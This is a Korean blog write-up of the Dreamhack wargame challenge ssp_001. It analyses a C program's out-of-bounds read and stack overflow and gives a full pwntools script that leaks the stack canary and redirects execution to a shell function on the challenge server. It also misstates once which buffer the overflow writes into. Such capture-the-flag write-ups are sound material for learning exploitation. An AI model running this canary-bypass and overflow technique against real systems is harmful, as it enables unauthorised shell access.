Iriton's log
[Dreamhack] Lv.2 : ssp_001 본문
Description
: 이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
취약점 분석
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
함수 동작
- F 를 누르면 box에 입력을 받는다.
- P 를 입력하면 print_box 함수를 호출하여 해당 인덱스 값의 박스를 출력한다.
- E 를 입력하면 name 크기를 입력 받고 해당하는 크기만큼 이름을 입력 받는다.
- 지정된 시간 내에 입력하지 않으면 프로그램 종료
취약점
- E 메뉴에서 원하는 크기만큼 box에 입력을 줄 수 있기 때문에 버퍼 오버플로우 가능성
- P 메뉴에서 인덱스를 입력 받을 때 경계값 검사를 하지 않아서 name 아래에 있는 값 출력 가능성
- get_shell : 쉘을 띄워주는 함수. Exploit에 사용할 수 있음.
Exploit
gdb로 열어서 동작을 살펴보며 스택 구조를 파악해보자.
disassemble *main에서 각각의 저장 주소를 파악할 수 있다.
이 부분이 Canary를 저장하는 부분과 비슷해 보인다.
32비트의 Cananry 저장은 위와 같은가보다.
canary = [ebp-0x8]
근데 32비트면 EBP 값은 4바이트일 텐데 8바이트 차이가 나는 걸 봐서 중간에 더미 값이 4있다는 걸 알 수 있다.
select = [ebp - 0x8a]
box = [ebp-0x88]
idx = [ebp-0x94]
name = [ebp-0x48]
name_len = [ebp-0x90]
Canary Leak
P 메뉴를 이용하여 카나리를 확인할 수 있다.
box - canary 거리는 128 바이트이니까 index를 128, 129, 130, 131을 주면 카나리 값을 볼 수 있다.
BOF
또한 E 메뉴로는 box에 원하는 만큼 크기를 입력할 수 있다.
RET을 get_shell로 덮으면 쉘을 띄울 수 있다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
# 서버 연결 및 프로그램 지정
p = remote("host3.dreamhack.games", {서버 포트})
e = ELF("./ssp_001")
get_shell = e.symbols['get_shell']
# Canary Leak
canary = b""
i = 131
while i >= 128:
p.sendlineafter("> ", 'P')
p.sendlineafter("Element index : ", str(i))
p.recvuntil("is : ")
canary += p.recvn(2)
i = i - 1
canary = int(canary, 16)
slog("canary", canary)
# BOF
payload = b'A' * 64
payload += p32(canary)
payload += b'A' * 8
payload += p32(get_shell)
p.sendlineafter("> ", 'E')
p.sendlineafter("Name Size : ", str(1000))
p.sendlineafter("Name : ", payload)
p.interactive()
'Pwnable > Wargame' 카테고리의 다른 글
[Dreamhack] Beginner: blue-whale (2) | 2024.11.14 |
---|---|
[Dreamhack] Lv.1 : basic_exploitation_001 (1) | 2024.05.07 |
[Dreamhack] Lv.2 : basic_exploitation_000 (0) | 2024.04.12 |
[Dreamhack] Lv.1 : Return Address Overwrite (0) | 2024.04.10 |
[Dreamhack] Beginner: welcome (0) | 2024.04.02 |